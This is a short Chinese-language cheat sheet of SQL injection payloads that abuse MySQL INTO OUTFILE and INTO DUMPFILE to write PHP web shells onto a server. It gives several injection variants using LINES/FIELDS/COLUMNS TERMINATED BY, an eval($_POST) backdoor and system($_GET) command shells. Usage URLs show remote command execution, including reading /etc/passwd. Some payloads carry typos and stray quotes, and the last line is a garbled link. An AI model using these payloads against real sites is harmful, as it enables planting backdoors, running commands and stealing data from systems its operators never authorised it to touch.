在union select 后拼接 into dumpfile 和 into outfile 来进行写shell
?id=1' union select 1,2,'<?php phpinfo();?>' into dumpfile 'c:/www/info.php'#?id=1' union select 1,2,'<?php phpinfo();?>' into outfile 'c:/www/info.php'#?id=1' into outfile 'c:/www/info.php' lines terminated by '<?php phpinfo();?>'#?id=1' limit 1 into outfile 'c:/www/info.php' lines terminated by '<?php phpinfo();?>'#注入原理:
lines terminated by xx的作用是在每行终止的位置添加xx内容。
?id=1’ into outfile ‘C:/www/info.php’ lines starting by ‘<?php phpinfo();?>’#?id=1’ imit 1 into outfile ‘C:/www/info.php’ lines starting by ‘<?php phpinfo();?>’#注入原理:
lines starting by xx可以理解为 以每行开始的位置添加 xx 内容。
?id=1’ into outfile ‘C:/www/info.php’ fields terminated by ‘<?php phpinfo();?>’#?id=1’ imit 1 into outfile ‘C:/www/info.php’ fields terminated by ‘<?php phpinfo();?>’#注入原理:
fields terminated by xx可以理解为 以每个字段的位置添加 xx 内容。
?id=1’ into outfile ‘C:/www/info.php’ COLUMNS terminated by ‘<?php phpinfo();?>’#?id=1’ imit 1 into outfile ‘C:/www/info.php’ COLUMNS terminated by ‘<?php phpinfo();?>’#注入原理:
COLUMNS terminated by xx可以理解为以每列的位置添加 xx 内容。
select '<?php @eval($_POST[pass]);?>' into outfile 'c:/www/pass.php'创建执行命令形式的shell,但前提是对方未关闭系统函数。该方法导出成功后可以直接执行DOS命令,使用方法:www.xxx.com/antian365.php?cmd=(cmd=后面直接执行dos命令)。
select '<?php echo \'<pre>\';system($_GET[\'cmd\']); echo \'</pre>\'; ?>' INTO OUTFILE 'd:/www/antian365.php'另外在linux下可以导出直接执行命令的shell:
SELECT '<? system($_GET[\'c\']); ?>' INTO OUTFILE '/var/www/shell.php';使用方法:http://localhost/shell.php?c=cat%20/etc/passwd](http://localhost/shell.php?c=cat /etc/passwd
Q.E.D.